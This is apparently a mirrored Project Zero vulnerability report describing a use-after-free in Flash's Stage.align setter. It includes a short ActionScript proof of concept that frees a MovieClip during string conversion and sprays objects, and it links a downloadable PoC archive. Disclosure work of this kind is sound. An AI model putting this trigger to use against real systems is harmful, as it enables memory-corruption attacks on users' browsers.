26 lines
No EOL
920 B
Text
26 lines
No EOL
920 B
Text
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=838
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There is a use-after-free in the Stage.align property setter. When the setter is called, the parameter is converted to a string early, as a part of the new use-after-free prevention changes. This conversion can invoke script, which if the this object is a MovieClip, can delete the object, deleting the thread the call is made from, which can lead to a use-after-free.
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A proof-of-concept is as follows:
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this.createEmptyMovieClip("mc", 2);
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var o = { toString : f };
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mc.func = ASnative(666, 4); //Stage.align setter
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mc.func(o);
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function f(){
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trace("here");
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mc.removeMovieClip();
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for(var i = 0; i < 100; i++){
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var t = new TextFormat(); // fill up the slots
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}
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}
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A fla and swf are attached. The swf crashes in Chrome for Windows.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40308.zip |